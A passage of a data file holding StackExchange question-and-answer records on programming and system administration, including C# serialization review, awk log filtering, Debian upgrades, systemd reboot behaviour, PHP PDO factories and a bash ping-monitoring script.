\\r\\n,        InvalidColumnReplace = \\\\t,        IncludeHeader = true    };    /// <summary>    /// Returns an instance of the <see cref=DelimitedSerializer/> setup for Comma-Separated Value files.    /// </summary>    public static DelimitedSerializer CsvSerializer => new DelimitedSerializer    {        ColumnDelimiter = ,,        RowDelimiter = \\r\\n,        InvalidColumnReplace = \\\\u002C,        IncludeHeader = true    };    /// <summary>    /// Returns an instance of the <see cref=DelimitedSerializer/> setup for Pipe-Separated Value files.    /// </summary>    public static DelimitedSerializer PsvSerializer => new DelimitedSerializer    {        ColumnDelimiter = |,        RowDelimiter = \\r\\n,        InvalidColumnReplace = \\\\u007C,        IncludeHeader = true    };    /// <summary>    /// Returns an instance of the <see cref=DelimitedSerializer/> from the RFC 4180 specification. See: https://tools.ietf.org/html/rfc4180    /// </summary>    public static DelimitedSerializer Rfc4180Serializer => new DelimitedSerializer    {        ColumnDelimiter = ,,        RowDelimiter = \\r\\n,        IncludeHeader = true,        IncludeTrailingDelimiter = true,        QuoteValues = true,        DoubleQuoteEscape = \\\\    };}DelimitedColumnAttribute.cs:/// <summary>/// Represents a column which can be used in a <see cref=DelimitedSerializer/>./// </summary>[AttributeUsage(AttributeTargets.Property)]public class DelimitedColumnAttribute : Attribute{    /// <summary>    /// The name of the column.    /// </summary>    public string Name { get; set; }    /// <summary>    /// The order the column should appear in.    /// </summary>    public int Order { get; set; }}DelimitedIgnoreAttribute.cs:[AttributeUsage(AttributeTargets.Property)]public class DelimitedIgnoreAttribute : Attribute{}"  , "title": "Serializing Objects to Delimited Files Part II"  , "tags": "c#;.net;serialization;reflection"  , "accepted_answer": "To me the Serialize method is too big. I'd split it in three parts.The first part would be the reflection stuff where you read and sort the properties - this could be a new class like ElementReflector or maybe an extension.The second part (maybe a method) would be the first foreach that I cannot figure out what it does.The third part (maybe a method too) would be the second foreach that does something but I'm not sure what.Putting them in methods would give them a meaning without you having to explain each time what they are good for.public string Serialize<T>(List<T> items){    ... prepare sort etc properties    var result = new StringBuilder()        .Append(CreateHeader(properties))        .Append(SerializeData(items, properties));    return result.ToString();}ifsif (property.Info.PropertyType.IsArray || (property.Info.PropertyType != typeof(string) && property.Info.PropertyType.GetInterface(typeof(IEnumerable<>).FullName) != null))You could use a variable for that to tell what this condition is for. Or even create an extension for it.The same applies for many other ifs where the intentions is not clear.Besides you use the same condition twice (in both loops) so an extenstion would definitely help.ColumnDelimiter & RowDelimiterIf these two properties cannot be null you should requrie them via the constructor instead of checking them in the Serilize method.Also if the user can change them later then you should check the values in the property setter instead of throwing exeptions later and causing astonishment why isn't this working.DelimitedColumnAttributeIt is possible to create an invalid attribute because there is no construtor that enforces the required values. I guess the name is required if the attribute is specified.propertiesproperties = typeof(T).GetProperties()  .Where(x => x.GetCustomAttribute<DelimitedIgnoreAttribute>() == null)  .Select(p => new  {      Attribute = new DelimitedColumnAttribute { Name = p.Name },      Info = p  })  .Where(x => x.Attribute != null)  .OrderBy(x => x.Attribute.Order)  .ThenBy(x => x.Attribute.Name)  .ThenBy(x => x.Info.Name)  .ToList();You are always adding the attribute so this .Where(x => x.Attribute != null) isn't necessary.As the Attribute.Name is equal p.Name either the .ThenBy(x => x.Attribute.Name) or .ThenBy(x => x.Info.Name) can be removed."  } 
{  "id": "_softwareengineering.71825"  , "question": "The canonical idea is pervasive in software; patterns like Canonical Model, Canonical Schema, Canonical Data Model and so on, seem to come up again and again in development.Like many developers, I've often followed, uncritically, the conventional wisdom that you need a canonical model, otherwise you'll face a combinatorial explosion of mappers and translators.  Or at least, I used to do that until a couple of years ago when I first read the somewhat-infamous EF Vote of No Confidence:The hypotheses that once supported the pursuit of canonical data models didnt and couldnt include factors that would be discovered once the idea was put into practice. We have found, through years of trial and error, that using separate models for each individual context in which a canonical data model might be used is the least complex approach, is the least costly approach, and the one that leads to greater maintainability and extensibility of the applications and endpoints using contextual models, and its an approach that doesnt encourage the software entropy that canonical models do.The essay presents no evidence of any kind to support its claims, but did make me question the CDM approach long enough to try the alternative, and the resulting software didn't explode, literally or figuratively.  But that doesn't mean a whole lot in isolation; I could have just been lucky.So I'm wondering, has any serious research been done into the practical, long-term effects of having a canonical model vs. contextual models in a software system or architecture?Or, if it's too early to be asking that, then have any developers/architects written about personal experiences switching from a CDM to independent contextual models, or vice versa, and what the practical effects were on things like productivity, complexity, or reliability?What about the differences at different levels, i.e. using the same model across a single application vs. using it across a system of applications or an entire enterprise?(Facts only, please; war stories are welcome but no speculation.)"  , "title": "Does current evidence support the adoption of Contextual over Canonical Data Models?"  , "tags": "design patterns;architecture;data;domain model"  } 
{  "id": "_unix.97940"  , "question": "I'm working in Unix.I'd like to fetch information from a log in a specified time range for the current date. For example I want the data from a log file of today's date from 00:00 to 09:00. Sample log entry:13/10/16 14:45:02 <batchspeedchange> <BELLBD.BD77350A.G6987V00> <> FAILED FILE FORMAT VALIDATION - ERROR:-213:rawData cannot contain tokensHow do I get the output from such a log file?"  , "title": "How do I filter a log to only the lines between two times?"  , "tags": "bash"  , "accepted_answer": "Assuming the dates look like HH:MM as you've show, and assuming the date appears in the 2nd field, you can use awk:awk -v start=00:00 -v stop=09:00 'start <= $2 && $2 < stop' file.log[rant] I'm quite particular about date formatting, and this one is terrible: what date is 09/10/11? [/rant]Anyway, assuming this it YY/MM/DDawk -v date=$(date +%y/%m/%d) \\    -v start=00:00:00 \\    -v stop=09:00:00 \\    -v search=File format not found \\'$1 == date && start <= $2 && $2 < stop && $0 ~ search' file.log"  } 
{  "id": "_unix.195728"  , "question": "So the idea is to create an alias that will search my alias's for me. I have quite a few. dude@gnarleybox:~$ grep alg .bash_aliases.shalias alg='alias | grep 'dude@gnarleybox:~$ alias | grep algalias alg='alias | grep 'dude@gnarleybox:~$ alg gdgrep: invalid max countdude@gnarleybox:~$ Huh? Like grep is getting two many parameters? How is that possible? Note that I've also tried it without the space on the end:alias alg='alias | grep' You should just be able to type: alg gd ...and get the alias I use to fuse mount GoogleDocs. "  , "title": "Why am I getting invalid max count from grep in an alias?"  , "tags": "bash;grep;alias"  , "accepted_answer": "Remove the blank at the end of the alias definition (as suggested by rici) and your issue should be fixed.But; in such cases as yours, where you have not only synonyms or abbreviations in your alias but also functional code with pipes, it's better to define a function instead of an alias."  } 
{  "id": "_cs.14954"  , "question": "After skimming Multiplication by a Constant is Sublinear (PDF), (slides (PDF), slides with notes (PDF)) I was wondering if this could be extended to division by a constant in sublinear time?Additionally, what about division with a constant numerator, ie. division of a constant?"  , "title": "Division by a constant"  , "tags": "algorithms;reference request;integers"  , "accepted_answer": "Division by a constant can always be recast as multiplication by a constant followed by a shift.  The relevant papers are:Robert Alverson, Integer Division Using Reciprocals, IEEE Int'l Symp Comp Arithmetic, (ISCA-10):186-190, 1991.Torbjrn Granlund and Peter L. Montgomery, Division by Invariant Integers using Multiplication, ACM Conf on Prog Lang Dsgn and Impl, (PLDI-1994):61-72.Daniel J. Magenheimer, Liz Peters, Karl W. Peters, and Dan Zuras, Integer Multiplication and Division on the HP Precision Architecture, IEEE T. Comp., 37(8):980-990, August 1988."  } 
{  "id": "_unix.349347"  , "question": "I execute: sudo apt-get dist-upgrade and I get this:Reading Package Lists ... DoneBuilding the dependency treeReading status information ... DoneCalculation of the update ... Some packages can not be installed. This may meanThat you have asked for the impossible, or if youUnstable distribution, which some packages have not yetHave been created or have not been released from Incoming.The following information should help you resolve the situation:The following packages contain unsatisfied dependencies: Systemd: Break: rdnssd (<1.0.1-5) but 1.0.1-1 + b1 must be installedE: Error, pkgProblem :: Resolve generated breaks, which could be caused by the packages to be kept as is.OUTPUT apt-cache policy rdnssd   Dmicaelandre @ ThinkPad: ~ $ apt-cache policy rdnssdrdnssd: Installed: 1.0.1-1+b1 Candidate: 1.0.3-3 Version table: 1.0.3-3 0 650 http://ftp2.fr.debian.org/debian/ stretch/main amd64 Packages *** 1.0.1-1+b1 0 100 /var/lib/dpkg/statusOUTPUT apt-cache policy100 /var/lib/dpkg/status     release a=now 500 http://security.debian.org/ stretch/updates/non-free Translation-en 500 http://security.debian.org/ stretch/updates/main Translation-en 500 http://security.debian.org/ stretch/updates/contrib Translation-en 650 http://security.debian.org/ stretch/updates/non-free i386 Packages     release o=Debian,a=testing,n=stretch,l=Debian-Security,c=non-free     origin security.debian.org 650 http://security.debian.org/ stretch/updates/contrib i386 Packages     release o=Debian,a=testing,n=stretch,l=Debian-Security,c=contrib     origin security.debian.org 650 http://security.debian.org/ stretch/updates/main i386 Packages     release o=Debian,a=testing,n=stretch,l=Debian-Security,c=main     origin security.debian.org 650 http://security.debian.org/ stretch/updates/non-free amd64 Packages     release o=Debian,a=testing,n=stretch,l=Debian-Security,c=non-free     origin security.debian.org 650 http://security.debian.org/ stretch/updates/contrib amd64 Packages     release o=Debian,a=testing,n=stretch,l=Debian-Security,c=contrib     origin security.debian.org 650 http://security.debian.org/ stretch/updates/main amd64 Packages     release o=Debian,a=testing,n=stretch,l=Debian-Security,c=main     origin security.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/non-free Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch-updates/main Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch-updates/contrib Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch-updates/non-free i386 Packages     release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=non-free     origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/contrib i386 Packages     release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=contrib     origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/main i386 Packages     release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=main     origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/non-free amd64 Packages     release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=non-free     origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/contrib amd64 Packages     release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=contrib     origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch-updates/main amd64 Packages     release o=Debian,a=testing-updates,n=stretch-updates,l=Debian,c=main     origin ftp2.fr.debian.org 500 http://ftp2.fr.debian.org/debian/ stretch/non-free Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch/main Translation-fr 500 http://ftp2.fr.debian.org/debian/ stretch/main Translation-en 500 http://ftp2.fr.debian.org/debian/ stretch/contrib Translation-en 650 http://ftp2.fr.debian.org/debian/ stretch/non-free i386 Packages     release o=Debian,a=testing,n=stretch,l=Debian,c=non-free     origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/contrib i386 Packages     release o=Debian,a=testing,n=stretch,l=Debian,c=contrib     origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/main i386 Packages     release o=Debian,a=testing,n=stretch,l=Debian,c=main     origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/non-free amd64 Packages     release o=Debian,a=testing,n=stretch,l=Debian,c=non-free     origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/contrib amd64 Packages     release o=Debian,a=testing,n=stretch,l=Debian,c=contrib     origin ftp2.fr.debian.org 650 http://ftp2.fr.debian.org/debian/ stretch/main amd64 Packages     release o=Debian,a=testing,n=stretch,l=Debian,c=main     origin ftp2.fr.debian.org"  , "title": "I can't upgrade Debian 9"  , "tags": "debian;upgrade"  } 
{  "id": "_unix.293284"  , "question": "i would like to learn and work on internet security, because thia is a world that is in continuos change and id like to improve myself on it..anyone can help me linking site or PDF where i can study this fantastic world?"  , "title": "Learn the base of security and defend myself from external attack"  , "tags": "linux;networking;security;osx;windows"  , "accepted_answer": "You could follow and Watch CEH Channel on YoutubeInstall Kali Linux/BackTrack/BlackBuntu and get started with basic tools installed in these operating systemsThis document could be of some use."  } 
{  "id": "_webmaster.38778"  , "question": "I'm renting server space from someone and, upon logging in my control panel after quite sometime, noticed an abnormal spike (~50MB) in the disk usage. Upon investigating, I found a lot of core.* files scattered around my public_html directory. Each one is more than 5MB in size but no more than 6MB. The * part is all numbers (in programming regex, that should be core\\.\\d+).I downloaded one and checked the contents. There was a lot of balderdash characters (NUL mostly, but also a scattering of ETB, ETX, STX) but there's this block of readable text which says:This text is part of the internal format of your mail folder, and is nota real message.  It is created automatically by the mail system software.If deleted, important folder data will be lost, and it will be re-createdwith the data reset to initial values.Pretty self-explanatory. A few blocks above the text are some more readable messages that look like logs but is sandwiched in between non printable characters. I've extracted some below.Scan not valid for mh mailboxesBogus character 0x%x in news stateCan't rewrite news state %.80sError closing backup news state %.80sNo state for newsgroup %.80s foundNow, a few concerns: Am I under attack? The messages seem to be about my webmail but I don't use my personal webmail that much---only for a vanity email address and an inbox for an outdated comments system. However, lately, I seem to notice a spike in the spam for my vanity mail. (Note: the comments system is covered by a captcha but every now and then some get through. My vanity email has a spam filter but it isn't as good as I'd like).Next, if this is a feature, can I turn it off? Is it advisable to? I've only 150MB so you see why I'm fretting over a 50MB spike.Some final details: my only server-side scripts are in PHP. The directory which accumulated the most number of these core files is the one containing the Wordpress-managed subdomain of my site. I manage my server through CPanel. Lastly, I decided to delete this files and after some checking nothing seems amiss in my websites nor in my mail. They are indeed the ones responsible for the ~50MB spike as my disk space usage is back to expected."  , "title": "core.* files eating up server space (~50MB)"  , "tags": "php;cpanel;mailing list;webmail"  , "accepted_answer": "Core files contain the image of the process' memory at the time of its termination (i.e. when it crashed). They can be used to inspect the state of the program when it was terminated.If you're seeing lots of them and they are recreated fast, I would invest some time in debugging which specific program crashed and why. It's probably not a good thing it crashed so it might be worth to look after them.If you don't see many of them, it's safe to delete them.Core Dump on Wikipedia"  } 
{  "id": "_webapps.73196"  , "question": "I am looking for a way to add up cells under a name. For instance, I am trying to tally all of the assists the character Annie got in a few different games of League of Legends. I am looking for a way to search for a name (which shows up multiple times) and then count adjacent cells."  , "title": "How to add adjacent cells in Google Sheets"  , "tags": "google spreadsheets"  } 
{  "id": "_datascience.1053"  , "question": "I would like to summarize (as in R) the contents of a CSV (possibly after loading it, or storing it somewhere, that's not a problem). The summary should contain the quartiles, mean, median, min and max of the data in a CSV file for each numeric (integer or real numbers) dimension. The standard deviation would be cool as well.I would also like to generate some plots to visualize the data, for example 3 plots for the 3 pairs of variables that are more correlated (correlation coefficient) and 3 plots for the 3 pairs of variables that are least correlated.R requires only a few lines to implement this. Are there any libraries (or tools) that would allow a similarly simple (and efficient if possible) implementation in Java or Scala?PD: This is a specific use case for a previous (too broad) question."  , "title": "Summarize and visualize a CSV in Java/Scala?"  , "tags": "tools;visualization;scala;csv"  } 
{  "id": "_cs.68549"  , "question": "let's say L is a regular language.And there in an NFA automata with epsilon moves A,in which for every accepting state (q,)=.How can I prove that there must be an automata A as defined for L?"  , "title": "NFA automata with  moves proof"  , "tags": "automata;finite automata;proof techniques"  } 
{  "id": "_unix.381739"  , "question": "There are two documented differences between start reboot.target and reboot.  But start reboot.target is what is triggered by ctrl-alt-del.target.Does it matter that ctrl-alt-del.target will omit --job-mode=replace-irreversibly?  In what situations will this cause different behaviour?   Why is it included by systemctl reboot?man systemctlreboot [arg]Shut down and reboot the system. This is mostly equivalent to start reboot.target --job-mode=replace-irreversibly, but also prints a             wall message to all users.man systemd.specialctrl-alt-del.target:             systemd starts this target whenever Control+Alt+Del is pressed on the console. Usually, this should be aliased (symlinked) to             reboot.target."  , "title": "What is the practical difference between `systemctl start reboot.target` and `systemctl reboot`?"  , "tags": "systemd;reboot"  , "accepted_answer": "When queuing a new job, this option controls how to deal with already queued jobs. It takes one of fail, replace, replace-irreversibly, isolate, ignore-dependencies, ignore-requirements or flush. Defaults to replace, except when the isolate command is used which implies the isolate job mode.If fail is specified and a requested operation conflicts with a pending job (more specifically: causes an already pending start job to be reversed into a stop job or vice versa), cause the operation to fail.If replace (the default) is specified, any conflicting pending job will be replaced, as necessary.If replace-irreversibly is specified, operate like replace, but also mark the new jobs as irreversible. This prevents future conflicting transactions from replacing these jobs (or even being enqueued while the irreversible jobs are still pending). Irreversible jobs can still be cancelled using the cancel command.This suggests a practical effect.  Suppose you hook units into the sleep state logic, using sleep.target to pull them in.  Your hook units do not have DefaultDependencies=no, so they depend on sysinit.target... and Conflict with shutdown.target.If you run systemctl start reboot.target and then immediately systemctl start suspend.target, it seems that your hook unit will stop shutdown.target.  Now systemd-reboot.service has Requires=shutdown.target, so it should be stopped/cancelled as well.  (umount.target should not be cancelled).I have verified a difference in behaviour along these lines and reported it as a defect in the systemd issue tracker."  } 
{  "id": "_unix.64848"  , "question": "Can someone explain why I get permission denied when running touch -m on this file even though it is group writable and I can write to the file fine.~/test1-> iduid=1000(plyons) gid=1000(plyons) groups=1000(plyons),4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1002(webadmin)~/test1-> ls -ld .; ls -ldrwxrwxr-x 2 plyons plyons 4096 Feb 14 21:20 .total 4-r--rw---- 1 www-data webadmin 24 Feb 14 21:29 foo~/test1-> echo the file is writable >> foo~/test1-> touch -m footouch: setting times of `foo': Operation not permitted~/test1-> lsattr foo -------------e- foo~/test1-> newgrp - webadmin ~/test1-> iduid=1000(plyons) gid=1002(webadmin) groups=1000(plyons),4(adm),20(dialout),24(cdrom),46(plugdev),109(lpadmin),110(sambashare),111(admin),1002(webadmin)~/test1-> touch -m footouch: setting times of `foo': Operation not permitted~/test1-> echo the file is writable >> foo~/test1-> "  , "title": "cannot touch -m a writable file"  , "tags": "filesystems;permissions"  , "accepted_answer": "From man utime:       The  utime()  system  call changes the access and modification times of       the inode specified by filename to the actime  and  modtime  fields  of       times respectively.       If  times  is  NULL, then the access and modification times of the file       are set to the current time.       Changing timestamps is permitted when: either the process has appropri       ate  privileges,  or  the  effective  user ID equals the user ID of the       file, or times is NULL and the process has  write  permission  for  the       file.So, to change only the modification time for the file (touch -m foo), you'd need to either be root, or the owner of the file.Being able to write to the file only gives you permission to update both the modified and access times to the current time; you can not update either separately, nor set them to a different time."  } 
{  "id": "_codereview.163043"  , "question": "In this question here on S.O, the accepted answer suggests to use both anonymous function and factory pattern for dealing with PDO connection. I believe the anonymous function is used in case a connection to a different database needs to be established, a different function will be defined for that. In that case, will it be alright to move the anonymous function to the factory class itself? With this approach  just passing the PDO parameters to the constructor will achieve the same as the original answer.Something like:class StructureFactory{    protected $provider = null;    protected $connection = null;    public function __construct( $PDO_Params )    {        $this->provider = function() {            $instance = new PDO($PDO_Params[dsn], $PDO_Params[username], $PDO_Params[password]);            $instance->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);            $instance->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);            return $instance;        };    }    public function create( $name)    {        if ( $this->connection === null )        {            $this->connection = call_user_func( $this->provider );        }        return new $name( $this->connection );    }}"  , "title": "PDO anonymous function inside a Factory"  , "tags": "php;object oriented;pdo;factory method"  , "accepted_answer": "TL;DR: no.The construction that is shown in the original example provided the following functionality:decoupling from MySQL (you dont, need disable emulation of prepared statements, if you are not using mysql, and you usually dont need to provide username and password with SQLite)option to use MySQLi or SOAP or any other DAL without rewriting the factory (see OCP)replacing PDO with a mock object, when running unit testsa way to alter the anonymous function, so that you can share the same PDO instance among multiple factories (when appropriate changes added)establishing a connection to data source, only when it is necessary (connecting to SOAP can be really slow, and RDBMS under heavy load can actually run out of connections that can be opened) "  } 
{  "id": "_cs.77062"  , "question": "I'm trying to understand the paper Incentive Compatibility ofBitcoin Mining Pool Reward Functions (Schrijvers, Bonneau, Doneh and Roughgarden, in Financial Cryptography and DataSecurity – FC 2016 Workshops, BITCOIN, 2016; PDF).In page 3 Section 2.1, they say pool operator does not know actual $\\alpha_i$ mining power of player $i$. To estimate $\\alpha_i$ depends on the reported shares and solutions.A reward function $ R\\colon H \\mapsto [0,1]^n$ is a function from a history transcript to an allocation $ \\{a_i\\}_{i=0} ^ {n} $ with $ \\sum_i a_i =1 $. I don't understand this? What allocation does the authors mean?What I somewhat understand from next para is $ H(k) = b = (y_1(k), \\cdots, y_i(k) ) $ where $y_i(k)$ is no of shares reported by player $i$ in round $k$.This I am basing on $H$ contains for each miner $i$ the total no of shares $b_i$ reported in that round. History transcript is given by a vector $b \\in N^n $.Also what do they mean when they say  We use vector notation for $b$, so $b_1 + b_2 $ means component wise addition of these, and  $\\|b\\|_1 = \\sum_{i=1}^n b_i $ is the sum of components of $b$Could someone explain with examples or in a more concrete way ?Also any suggestions for understanding this paper would be much appreciated. Thanks."  , "title": "Understanding Incentive Compatibility of pooled Bitcoin Mining paper"  , "tags": "algorithms;cryptography;game theory;one way functions"  } 
{  "id": "_unix.147203"  , "question": "I'm very new in bash scripting and unix so I will need some help on this.I have 7-10 hosts which I want to ping from one of the servers via cronjobs. What I want is when host is up to execute command on it. When is down do nothing. I don't want logs or any messages.So far I have this and unfortunately don't have ability to try it right now. If you can just check it and point me.#!/bin/bashservers=( 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 7.7.7.7 )for i in ${servers[@]}do  ping -c 1 $i > /dev/null  doneping -c 1 $i > /dev/nullif [ $? -ne 0 ]; then    if [ $STATUS >= 2 ]; then        echo     fielse    while [ $STATUS <= 1 ];    do        # command should be here where is status 1 ( i.e. Alive )       /usr/bin/snmptrap -v 2c -c public ...    donefiI'm not sure if this is right or no. I've used this from one tutorial and there is some things that I'm not sure what they exactly do.Am I on right way here or I'm totaly wrong?"  , "title": "Ping multiple hosts and execute command"  , "tags": "shell;ping;hosts"  , "accepted_answer": "I've made some comments in line to explain what different parts of the script are doing.  I've then made a concise version of the script below.#!/bin/bashservers=( 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 7.7.7.7 )# As is, this bit doesn't do anything.  It just pings each server one time # but doesn't save the outputfor i in ${servers[@]}do  ping -c 1 $i > /dev/null  # done# done marks the end of the for-loop.  You don't want it to end yet so I# comment it out# You've already done this above so I'm commenting it out#ping -c 1 $i > /dev/null    # $? is the exit status of the previous job (in this case, ping).  0 means    # the ping was successful, 1 means not successful.    # so this statement reads If the exit status ($?) does not equal (-ne) zero    if [ $? -ne 0 ]; then        # I can't make sense of why this is here or what $STATUS is from        # You say when the host is down you want it to do nothing so let's do        # nothing        #if [ $STATUS >= 2 ]; then        #    echo         #fi        true    else        # I still don't know what $STATUS is        #while [ $STATUS <= 1 ];        #do            # command should be here where is status 1 ( i.e. Alive )           /usr/bin/snmptrap -v 2c -c public ...        #done    fi# Now we end the for-loop from the topdoneIf you need a parameter for each server, create an array of parameters and an index variable in the for-loop.  Access the parameter via the index:#!/bin/bashservers=( 1.1.1.1 2.2.2.2 3.3.3.3 4.4.4.4 5.5.5.5 6.6.6.6 7.7.7.7 )params=(PARAM1 PARAM2 PARAM3 PARAM4 PARAM5 PARAM6 PARAM7)n=0for i in ${servers[@]}; do    ping -c 1 $i > /dev/null      if [ $? -eq 0 ]; then       /usr/bin/snmptrap -v 2c -c public ${params[$n]} ...    fi    let $((n+=1)) # increment n by onedone"  } 
{  "id": "_unix.301962"  , "question": "I'm writing kinda virtual keyboard using uinput and during looking into what all should I put intoioctl(fd, UI_SET_KEYBIT, ???);I found input-event-codes.h. Some constants there are pretty self-explanatory (KEY_1, KEY_D, ...), but some are a bit more cryptic.Is there anywhere documentation where those keycodes are listed and explained? I tried google, but BTN_TRIGGER_HAPPY didn't lead me to anywhere useful :/ What is this keycode useful for?PS: If there is complete list somewhere, that would be nice, there is a few more quite interesting (KEY_HIRAGANA? KEY_102ND? ...)."  , "title": "What is BTN_TRIGGER_HAPPY?"  , "tags": "input;header file"  , "accepted_answer": "There is documentation here, quite a lot of it too.  Happy is close to joy, and this association is supported by the following search result:I wouldn't expect every event to have a strict definition. But there's a note in input-event-codes.h stating:/*  * Keys and buttons  *  * Most of the keys/buttons are modeled  after USB HUT 1.12  * (see http://www.usb.org/developers/hidpage).  *  Abbreviations in the comments:  * AC - Application Control  * AL -  Application Launch Button  * SC - System Control  */"  } 
{  "id": "_codereview.158574"  , "question": "I've written a function to convert an image into characters and colors for the windows console. At the moment the calculation takes about 13 seconds with a 700x700 pixel image but that time is undesirable especially when I plan on making the function more complex in order to account for character shapes.What are some methods to speed up heavy calculations and loops like below in C++? I've been recommended multiple threads, SIMD, and inline assembly but how would I go about improving a function like below with those methods?This is the current code I'm using.unsigned char characterValues[256] = { 0 };// This operation can be done ahead of time when the program is started up{    ResourceInputStream in = ResourceInputStream();    // This image is the font for the console. The background color is black while the foreground color is white    in.open(BMP_FONT, 2); // 2 is for RT_BITMAP, BMP_FONT is a resource    if (in.isOpen()) {        auto bmp = readBitmap(&in, true);        in.close();        for (int x = 0; x < bmp->size.x; x++) {            for (int y = 0; y < bmp->size.y; y++) {                int charIndex = (x / 8) + (y / 12) * 16;                if (bmp->pixels[x][y].r == 255)                    characterValues[charIndex]++;            }        }    }}// This operation is for asciifying the image{    FileInputStream in = FileInputStream();    in.open(R(image-path.bmp));    if (in.isOpen()) {        auto bmp = readBitmap(&in, false);        in.close();        // The size of the image in characters        Point2I imageSize = (Point2I)GMath::ceil((Point2F)bmp->size / Point2F(8.0f, 12.0f));        int totalImageSize = imageSize.x * imageSize.y;        auto palette = /* get palette of 16 colors here */        // Iterate through each (character area)        for (int imgx = 0; imgx < imageSize.x; imgx++) {            for (int imgy = 0; imgy < imageSize.y; imgy++) {                // Read image color value                int r = 0, g = 0, b = 0;                int totalRead = 0;                // Read each pixel inside the bounds of a single character                // 8x12 is the size of a character                for (int px = 0; px < 8; px++) {                    for (int py = 0; py < 12; py++) {                        Point2I p = Point2I(imgx * 8 + px, imgy * 12 + py);                        if (p < bmp->size) {                            r += bmp->pixels[p.x][p.y].r;                            g += bmp->pixels[p.x][p.y].g;                            b += bmp->pixels[p.x][p.y].b;                            totalRead++;                        }                    }                }                Color imageValue = Color(r / totalRead, g / totalRead, b / totalRead);                // A combo of a character and foreground/background color                Pixel closestPixel = Pixel();                float closestScore = std::numeric_limits<float>().max();                for (int col = 1; col < 255; col++) {                    unsigned char f = getFColor(col);                    unsigned char b = getBColor(col);                    for (int ch = 1; ch < 255; ch++) {                        // Calculate values                        Color value = Color(                            (palette[f].r * characterValues[ch] + palette[b].r * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE,                            (palette[f].g * characterValues[ch] + palette[b].g * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE,                            (palette[f].b * characterValues[ch] + palette[b].b * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE                        );                        Color fvalue = Color(                            (palette[f].r * characterValues[ch]) / TOTAL_CHARACTER_VALUE,                            (palette[f].g * characterValues[ch]) / TOTAL_CHARACTER_VALUE,                            (palette[f].b * characterValues[ch]) / TOTAL_CHARACTER_VALUE                        );                        Color bvalue = Color(                            (palette[b].r * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE,                            (palette[b].g * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE,                            (palette[b].b * (TOTAL_CHARACTER_VALUE - characterValues[ch])) / TOTAL_CHARACTER_VALUE                        );                        // Add up score here                        float score =                            (float)((int)value.r - (int)imageValue.r) * (float)((int)value.r - (int)imageValue.r) +                            (float)((int)value.g - (int)imageValue.g) * (float)((int)value.g - (int)imageValue.g) +                            (float)((int)value.b - (int)imageValue.b) * (float)((int)value.b - (int)imageValue.b) +                            (float)((int)fvalue.r - (int)imageValue.r) * (float)((int)fvalue.r - (int)imageValue.r) +                            (float)((int)fvalue.g - (int)imageValue.g) * (float)((int)fvalue.g - (int)imageValue.g) +                            (float)((int)fvalue.b - (int)imageValue.b) * (float)((int)fvalue.b - (int)imageValue.b) +                            (float)((int)bvalue.r - (int)imageValue.r) * (float)((int)bvalue.r - (int)imageValue.r) +                            (float)((int)bvalue.g - (int)imageValue.g) * (float)((int)bvalue.g - (int)imageValue.g) +                            (float)((int)bvalue.b - (int)imageValue.b) * (float)((int)bvalue.b - (int)imageValue.b);                        // More                        if (score < closestScore) {                            closestPixel = Pixel((unsigned char)ch, (unsigned char)col);                            closestScore = score;                        }                    }                }                // Set the character/color combo here            }        }    }}As a bonus, this is the result of my calculation. There's definitely room for improvement with the scoring but at least you can see the shape and colors."  , "title": "Convert an image into characters and colors for the windows console"  , "tags": "c++;time limit exceeded;image;console;windows"  } 
